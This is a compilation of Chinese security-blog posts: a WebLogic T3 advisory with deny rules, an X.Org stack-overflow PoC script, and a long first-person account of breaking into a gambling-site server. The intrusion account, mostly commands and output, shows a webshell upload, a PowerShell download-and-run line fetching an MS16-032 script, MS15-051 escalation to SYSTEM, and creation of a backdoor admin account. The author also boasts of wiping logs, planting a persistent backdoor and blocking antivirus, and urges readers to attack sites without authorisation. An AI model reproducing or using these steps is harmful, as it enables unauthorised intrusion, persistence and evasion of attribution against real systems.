高危:预计网上很快会有该远程代码执行漏洞的POC,建议尽快升级软件和使用连接筛选器临时拒绝T3/T3s协议。
建议尽快安装安全更新补丁(可以使用BSU智能更新)或使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议:
连接筛选器:weblogic.security.net.ConnectionFilterImpl
规则示例: 0.0.0.0/0 7001 deny t3 t3s#拒绝所有访问
允许和拒绝指定IP规则示例:
192.168.1.0/24 7001 allow t3 t3s#允许指定IP段访问
192.168.2.0/24 * 7001 deny t3 t3s#拒绝指定IP段访问
连接筛选器说明参考:
https://docs.oracle.com/cd/E24329_01/web.1211/e24485/con_filtr.htm#SCPRG377
威胁推演:此漏洞为远程代码执行漏洞,基于全球使用该产品用户的数量和暴露在网上的端口情况,恶意攻击者可能会开发针对该漏洞的自动化攻击程序、黑客工具,实现漏洞利用成功后自动植入后门程序,并进一步释放矿工程序或是DDOS僵尸木马等恶意程序,从而影响到网站服务的正常提供。
安全运营建议:Oracle WebLogic历史上已经报过多个安全漏洞(其中也有反序列化漏洞),建议使用该产品的企业经常关注官方安全更新公告。
来源:https://bithack.io/forum/152
修正:此前没看急于发文,导致写错标题,对不起大家。感谢评论有个兄弟说出来,谢谢!
CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux图形界面X Server本地栈溢出POC 渗透测试
0x1 简单介绍:
X Server 是绝大对数Linux发行版和Unix系统的基础图形界面程序,是系统标配。而此程序也是以Root权限启动的,因而成功溢出它而获得的shell,也是root权限。
0x2 漏洞相关信息:
# 时间: 2019-10-16 # 作者: Marcelo Vázquez (s4vitar) # 厂商: https://www.x.org/ # 版本: <= 1.20.4 # 测试平台: Linux # CVE: CVE-2019-17624
0x3 POC
#!/usr/bin/python #coding: utf-8 # ************************************************************************ # * Author: Marcelo Vázquez (aka s4vitar) * # * X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow) * # ************************************************************************ import sys, time import ctypes as ct from ctypes import cast from ctypes.util import find_library def access_violation(x11, current_display): keyboard = (ct.c_char * 1000)() x11.XQueryKeymap(current_display, keyboard) if __name__ == '__main__': print "\n[*] Loading x11...\n" time.sleep(2) x11 = ct.cdll.LoadLibrary(find_library("X11")) current_display = x11.XOpenDisplay(None) print "[*] Exploiting...\n" time.sleep(1) try: access_violation(x11, current_display) except: print "\nError...\n" sys.exit(1)
从朋友圈XX中奖getshell到提权服务器过程简单记录 渗透测试
注意:所有的过程仅供渗透学习研究参考,禁止用于他途。
建议学习渗透的朋友搜索一些非法网站的关键词来进行实战练习!干爆他们!
0x1 背景:
在朋友圈发现小姨转发了一篇XXX中奖,打开一开是XX彩票,其实就是菠菜的皮,果断先劝小姨删掉这条朋友圈,就有了下面这篇文章:
0x2 信息搜集:
发现目标系统是dedecms,且为windows系统(文件名大小写快速判断),果断使用我项目里收集的改良版爆破dedecms后台的py脚本 多给我点点 Star啊!
几十秒钟后成功爆破得到后台路径:http://xxxx.com/xaxaxa
打开发现没有验证码,果断使用burpsuite抓包爆破,但是没有收获!
暂停去喝杯水,回来用后台路径xaxaxa作为用户名密码登录成功进入后台,文件管理哪里,直接上传文件,直接getshell!
由此可知,服务器没有WAF,不然上传shell肯定被拦截!
蚁剑走起,因为发现冰蝎并不是太好用,对环境有一定要求。
0x3 提权:
首先想到的是mysql udf提权:
通过查看dedecms的数据库配置文件 /data/common.inc.php得到数据库帐号,而且还是root帐户。
本以为可以顺利提权的,结果GG!记录一下吧:
查看MySQL版本,因为在高版本中有个参数至关重要,就是secure-file-priv,这个参数限制了MySQL的导出;
该参数为NULL时不允许导出、该参数为空时允许在任意文件夹中导出、该参数为某文件夹时允许在该文件夹中导出。
这个参数在各个版本中的表现如下:
MySQL5.5版本:my.ini中无此参数,查询该参数情况为NULL;
MySQL5.6版本:my.ini中无此参数,查询该参数情况为空;
MySQL5.7版本:my.ini中有此参数,查询该参数情况为数据目录下的Upload文件夹。
mysql> select version();
+-----------+
| version() |
+-----------+
| 5.5.46 |
+-----------+
1 row in set (1.28 sec)
事实证明这个用来确认系统版本不准确!因为这个是MySQL的版本,并不是系统版本。
mysql> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Win32 | x86 |
+----------------------+---------------------------+
1 row in set (2.01 sec)
mysql> show variables like '%compile%';
+-------------------------+-------+
| Variable_name | Value |
+-------------------------+-------+
| version_compile_machine | x86 |
| version_compile_os | Win32 |
+-------------------------+-------+
2 rows in set (1.86 sec)
mysql> select @@plugin_dir;
+-------------------------------------------------+
| @@plugin_dir |
+-------------------------------------------------+
| D:\ZKEYS_PHP\MySql\MySQL Server 5.5\lib\plugin\ |
+-------------------------------------------------+
1 row in set (1.26 sec)
mysql> select load_file('D:\www\xxxxxxxxxx.com\a\chanpinzhongxin\lib_mysqludf_sys_32.dll') into dumpfile 'D:\ZKEYS_PHP\MySql\MySQL Server 5.5\lib\plugin\udf.dll';
1 - Can't create/write to file 'D:\ZKEYS_PHP\MySql\MySQL Server 5.5\lib\plugin\udf.dll' (Errcode: 13)
还尝试过使用HEX来进行写入,也宣告失败。
最后进了系统后发现那个文件夹管理员都没有直接查看权限!还需要先取得所有权才能查看!我丢!难怪root权限的mysql帐户也不能导出dll。
真的是实战渗透你会发现什么样的环境都有,很少有教科书一样的环境,需要自己灵活变通,所有的教程都只能是参考!
0x4 使用EXP打,梭哈:
下面就换一个方式,使用EXP来打...在不知道补丁情况下我就用N多个匹配目标系统的EXP来尝试...
好在最后通过缩小目标范围成功提权,下面是一些本次Windows Server 2008 R2 Enterprise的EXP提权测试记录。
D:\www\xxxxxxxx.com\about> tasklist
映像名称 PID 会话名 会话# 内存使用
========================= ======== ================ =========== ============
System Idle Process 0 0 24 K
System 4 0 364 K
smss.exe 452 0 2,192 K
csrss.exe 536 0 15,284 K
csrss.exe 588 1 8,256 K
wininit.exe 596 0 6,940 K
services.exe 640 0 13,340 K
lsass.exe 648 0 70,872 K
lsm.exe 656 0 9,144 K
winlogon.exe 712 1 7,936 K
svchost.exe 796 0 15,388 K
svchost.exe 876 0 16,156 K
LogonUI.exe 964 1 17,688 K
svchost.exe 972 0 16,988 K
spoolsv.exe 1136 0 20,572 K
svchost.exe 1172 0 12,644 K
svchost.exe 1196 0 18,556 K
inetinfo.exe 1224 0 30,140 K
mysqld.exe 1432 0 223,128 K
svchost.exe 1484 0 14,536 K
svchost.exe 1524 0 4,880 K
svchost.exe 1564 0 37,440 K
svchost.exe 2500 0 15,892 K
svchost.exe 17884 0 6,736 K
msdtc.exe 17932 0 9,852 K
csrss.exe 20892 2 14,512 K
winlogon.exe 31176 2 10,096 K
taskhost.exe 37920 2 8,888 K
rdpclip.exe 32664 2 10,204 K
dwm.exe 20120 2 6,828 K
explorer.exe 39432 2 120,864 K
LocoyPlatform.exe 38208 2 285,120 K
wlrmdr.exe 67128 2 6,196 K
w3wp.exe 51948 0 18,636 K
w3wp.exe 4956 0 18,224 K
w3wp.exe 13988 0 18,508 K
dllhost.exe 27880 0 6,596 K
wsmprovhost.exe 35776 0 7,536 K
w3wp.exe 56336 0 17,804 K
php-cgi.exe 47428 0 25,352 K
php-cgi.exe 10924 0 25,820 K
w3wp.exe 57064 0 17,508 K
php-cgi.exe 25912 0 25,296 K
w3wp.exe 16252 0 17,516 K
php-cgi.exe 28464 0 25,252 K
php-cgi.exe 59852 0 25,196 K
w3wp.exe 68792 0 17,700 K
php-cgi.exe 65204 0 23,368 K
w3wp.exe 49940 0 17,360 K
cmd.exe 40808 0 4,780 K
conhost.exe 48340 0 4,892 K
cmd.exe 68144 0 4,728 K
tasklist.exe 26436 0 7,352 K
在进程里没有发现杀软,虽然shell是免杀得...没有最方便啦!这也印证了开始传shell的猜想。
查看用户和所在用户的权限:
D:\www\xxxxxxxx.com\about> net user
\ 的用户帐户
-------------------------------------------------------------------------------
Administrator APP_IWAM_9624056 Guest
MYSQL_USER PhpMyAdmin_USER
命令运行完毕,但发生一个或多个错误。
D:\www\xxxxxxxx.com\about> whoami /priv
特权信息
----------------------
特权名 描述 状态
======================= ==================== ======
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeImpersonatePrivilege 身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege 创建全局对象 已启用
看到有SeImpersonatePrivilege 权限,期间还是用过MSF的incognito模块来进行会话令牌冒用,均已失败告终。
查看是否存在域环境,准备找其他域内机器攻克,但是结果是单域。
D:\www\xxxxxxxx.com\about> net user /domain
这项请求将在域 WORKGROUP 的域控制器处理。
发生系统错误 1355。
指定的域不存在,或无法联系。
D:\www\xxxxxxxx.com\about> whoami /all
用户信息
----------------
用户名 SID
================= ========
nt authority\iusr S-1-5-17
组信息
-----------------
组名 类型 SID 属性
==================================== ====== ============ ==============================
Mandatory Label\High Mandatory Level 标签 S-1-16-12288
Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组
BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\SERVICE 已知组 S-1-5-6 只用于拒绝的组
控制台登录 已知组 S-1-2-1 必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组
LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用的组
特权信息
----------------------
特权名 描述 状态
======================= ==================== ======
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeImpersonatePrivilege 身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege 创建全局对象 已启用
查看具有管理权限的账户列表:
D:\www\xxxxxxxx.com\about> net localgroup administrators
别名 administrators
注释 管理员对计算机/域有不受限制的完全访问权
成员
-------------------------------------------------------------------------------
Administrator
命令成功完成。
查看网卡配置:
D:\www\xxxxxxxx.com\about> ipconfig /all
Windows IP 配置
主机名 . . . . . . . . . . . . . : WIN-xxxxxxxxxxx
主 DNS 后缀 . . . . . . . . . . . :
节点类型 . . . . . . . . . . . . : 混合
IP 路由已启用 . . . . . . . . . . : 否
WINS 代理已启用 . . . . . . . . . : 否
以太网适配器 本地连接 2:
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Intel(R) I350 Gigabit Network Connection #2
物理地址. . . . . . . . . . . . . : xx-xx-xx-xx-xx-CB
DHCP 已启用 . . . . . . . . . . . : 是
自动配置已启用. . . . . . . . . . : 是
本地链接 IPv6 地址. . . . . . . . : fe80::xxx:xxx:xxx:887d%13(首选)
自动配置 IPv4 地址 . . . . . . . : 169.254.136.125(首选)
子网掩码 . . . . . . . . . . . . : 255.255.0.0
默认网关. . . . . . . . . . . . . :
DHCPv6 IAID . . . . . . . . . . . : 301999504
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-24-A2-67-59-xx-xx-xx-xx-xx-CA
DNS 服务器 . . . . . . . . . . . : fec0:0:0:ffff::1%1
fec0:0:0:ffff::2%1
fec0:0:0:ffff::3%1
TCPIP 上的 NetBIOS . . . . . . . : 已启用
以太网适配器 本地连接:
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Intel(R) I350 Gigabit Network Connection
物理地址. . . . . . . . . . . . . : xx-xx-xx-xx-xx-CA
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是
本地链接 IPv6 地址. . . . . . . . : fe80::xxx:xxx:xxx:ef33%11(首选)
IPv4 地址 . . . . . . . . . . . . : x.x.x.25(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.192
IPv4 地址 . . . . . . . . . . . . : x.x.x.130(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.192
IPv4 地址 . . . . . . . . . . . . : x.x.x.131(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.192
IPv4 地址 . . . . . . . . . . . . : x.x.x.132(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.192
IPv4 地址 . . . . . . . . . . . . : x.x.x.133(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.192
IPv4 地址 . . . . . . . . . . . . : x.x.x.134(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.192
IPv4 地址 . . . . . . . . . . . . : x.x.x.135(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.192
查看arp配置:
D:\www\xxxxxxxx.com\about> arp -a
???: x.x.x.25 --- 0xb
Internet ??? ??????? ????
x.x.x.24 00-25-90-88-a5-b2 ???
x.x.x.60 44-4c-a8-81-12-08 ???
x.x.x.61 44-4c-a8-80-e1-21 ???
x.x.x.62 00-1c-73-00-00-02 ???
x.x.x.63 ff-ff-ff-ff-ff-ff ???
x.x.x.191 ff-ff-ff-ff-ff-ff ???
x.x.x.127 ff-ff-ff-ff-ff-ff ???
x.x.x.63 ff-ff-ff-ff-ff-ff ???
x.x.x.255 ff-ff-ff-ff-ff-ff ???
224.0.0.22 01-00-5e-00-00-16 ???
224.0.0.252 01-00-5e-00-00-fc ???
???: 169.254.136.125 --- 0xd
Internet ??? ??????? ????
169.254.255.255 ff-ff-ff-ff-ff-ff ???
224.0.0.22 01-00-5e-00-00-16 ???
224.0.0.252 01-00-5e-00-00-fc ???
255.255.255.255 ff-ff-ff-ff-ff-ff ???
在shell的虚拟终端中执行systeminfo结果如下:
D:\www\xxxxxxxx.com\about> systeminfo
主机名: WIN-xxxxxxxx
OS 名称: Microsoft Windows Server 2008 R2 Enterprise
OS 版本: 6.1.7601 Service Pack 1 Build 7601
OS 制造商: Microsoft Corporation
OS 配置: 独立服务器
OS 构件类型: Multiprocessor Free
注册的所有人: Windows 用户
注册的组织:
产品 ID: 00486-OEM-8400691-20006
初始安装日期: 2019/5/26, 14:13:48
系统启动时间: 2019/8/18, 17:17:23
系统制造商: Supermicro
系统型号: X9DRD-iF
系统类型: x64-based PC
处理器: 安装了 2 个处理器。
[01]: Intel64 Family 6 Model 45 Stepping 7 GenuineIntel ~1180 Mhz
[02]: Intel64 Family 6 Model 45 Stepping 7 GenuineIntel ~1180 Mhz
BIOS 版本: American Megatrends Inc. 1.0b, 2012/10/5
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量: 32,735 MB
可用的物理内存: 25,878 MB
虚拟内存: 最大值: 65,469 MB
虚拟内存: 可用: 39,898 MB
虚拟内存: 使用中: 25,571 MB
页面文件位置: C:\pagefile.sys
域: WORKGROUP
登录服务器: 暂缺
修补程序: 暂缺
网卡: 安装了 2 个 NIC。
[01]: Intel(R) I350 Gigabit Network Connection
连接名: 本地连接
启用 DHCP: 否
IP 地址
[01]: x.x.x.x
.........N......
出现修补程序状态为暂缺的情况下一般是shell的权限不够,后来登录后执行systeminfo的结果印证:
修补程序: 安装了 2 个修补程序。
[01]: KB2999xxx
[02]: KB976xxx
那就只有使用cmd命令来猜测是否打了一些常见的本地提权补丁
systeminfo>temp.txt&(for %i in (KB952004 KB970483 KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3011780 KB3036220 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3124280 KB3141780 KB4013389) do @type temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt
D:\www\xxxxxxxxxxx.com\about> systeminfo>temp.txt&(for %i in (KB952004 KB970483 KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3011780 KB3036220 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3124280 KB3141780 KB4013389) do @type temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt KB952004 Not Installed! KB970483 Not Installed! KB977165 Not Installed! KB2160329 Not Installed! KB2503665 Not Installed! KB2592799 Not Installed! KB2707511 Not Installed! KB2829361 Not Installed! KB2850851 Not Installed! KB3000061 Not Installed! KB3011780 Not Installed! KB3036220 Not Installed! KB3045171 Not Installed! KB3077657 Not Installed! KB3079904 Not Installed! KB3134228 Not Installed! KB3143141 Not Installed! KB3124280 Not Installed! KB3141780 Not Installed! KB4013389 Not Installed!
MS16-032 windows本地提权
补丁编号: KB3124280
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user evi1cg test!@#123 /add'" >>1.log
根据1.log记录,宣告失败:
| V | | | | _|| | | |
| | || || . || | | | |
||||__||| ||||
[by b33f -> @FuzzySec]
[?] Operating system core count: 24
[>] Duplicating CreateProcessWithLogonW handles..
[!] No valid thread handles were captured, exiting!
ATM 字体驱动程序中的漏洞可能允许特权提升
漏洞代号: MS15-077
补丁编号: KB3077657
exp 用途: 字体提权
适应平台: 可能该exp 32位系统好使,64位均未成功
D:\www\xxxxxxxxxxx.com\about> elevator.exe
HT Windows Font Exploit modify by skyer
Usage: exp.exe "net user t00ls t00ls /ad"
D:\www\xxxxxxxxxxx.com\about> elevator.exe "net user helps helps@!#me /add"
D:\www\xxxxxxxxxxx.com\about> net user
\ 的用户帐户
-------------------------------------------------------------------------------
Administrator APP_IWAM_9624056 Guest
MYSQL_USER PhpMyAdmin_USER
命令运行完毕,但发生一个或多个错误。
宣告失败!
Windows内核模式驱动CVE-2015-1680信息泄露漏洞
漏洞代号: MS15-051
补丁编号: KB3045171
exp 用途: 本地提权
适应平台: 08 以后的系统基本都可以,成功率较高,菜刀直接可用
D:\www\xxxxxxxxxx.com\about> ms15-051.exe
[#] ms15-051 fixed by zcgonvh
[#] usage: ms15-051 command
[#] eg: ms15-051 "whoami /all"
这里受到 在mysql提权时的影响,把系统当成了32位,忘了上面通过systeminfo得到的系统架构信息是X64位
D:\www\xxxxxxxxxx.com\about> ms15-051.exe whoami
[#] ms15-051 fixed by zcgonvh
[x] please re-compiler this program via x64 platform
换用 ms15-051x64成功提权:
D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe
[#] ms15-051 fixed by zcgonvh
[#] usage: ms15-051 command
[#] eg: ms15-051 "whoami /all"
D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe whoami
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 19140 created.
==============================
nt authority\system
D:\www\xxxxxxxxxx.com\about> whoami
nt authority\iusr
D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe whoami
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 19644 created.
==============================
nt authority\system
D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP help@!#me123 /add"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 25540 created.
==============================
密码不满足密码策略的要求。检查最小密码长度、密码复杂性和密码历史的要求。
请键入 NET HELPMSG 2245 以获得更多的帮助。
D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP HELP@!#me123@@@ /add"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 19788 created.
==============================
输入的密码超过了 14 个字符。安装了 Windows 2000
以前的 Windows 版本的计算机将不能使用
此帐户。您想继续进行操作吗? (Y/N) [Y]:
没有提供有效的响应。
这个时候尝试了使用空密码,的确是可以创建并且加入管理员组:
D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP /add"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 22168 created.
==============================
命令成功完成。
D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net localgroup Administrators HELP /add"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 22040 created.
==============================
命令成功完成。
这个时候准备登录:需要知道远程桌面端口,于是使用读取注册表的16进制值来获得:
在命令行下执行:
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
返回:
PortNumber REG_DWORD 0x4cfe
随后拿出来 0x4cfe ,转换成10进制,Windows下可以用计算器的程序员模式,
选择HEX
输入 4cfe 即可得到10进制的端口号19710
但是登录的时候提示由于策略原因禁止空密码登录,稍微新一点系统都是禁止空密码登录的。
这时候当然去找google搜索是最快的阿!
最终成功设置了一个符合策略要求的密码:
D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP 123789456=love"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 13012 created.
==============================
命令成功完成。
加入管理员组:
还有一种策略就是激活Guest帐户,但是我又担心策略组禁止Guest帐户登录就白忙活了,可自行尝试!
然后使用的密码成功登录,进去清理掉日志,痕迹,打扫战场,深藏功与名!哈哈哈
不可能阿,这个系统里面全是非法彩票网站,最终跳转导向到菠菜!那咋办呢?盘他!必须安排!
先把所有网站的首页文件全部替换成公益404页面,美滋滋!
再留一个面杀后门修改系统进程加上参数后自动将后门注入系统进程,同时禁止安装任何杀软!除非它重装系统!
收工,休息下继续下一波非法网站搜集!
需要练习技能的朋友可以批量采集非法网站作为练习对象!正规网站需要取得授权才能测试!
切忌装逼!保护好自己!
禁止挂黑页的傻屌行为!
全程远程堡垒机操作,全程VPN!
最简单的就是随便找一家服务商开一台机器,VPN连上去,搞完销废机器!
参考:
https://github.com/SecWiki/windows-kernel-exploits
https://www.eviloctal.com/archiver/tid-25278.html
https://klionsec.github.io/2017/04/22/win-0day-privilege/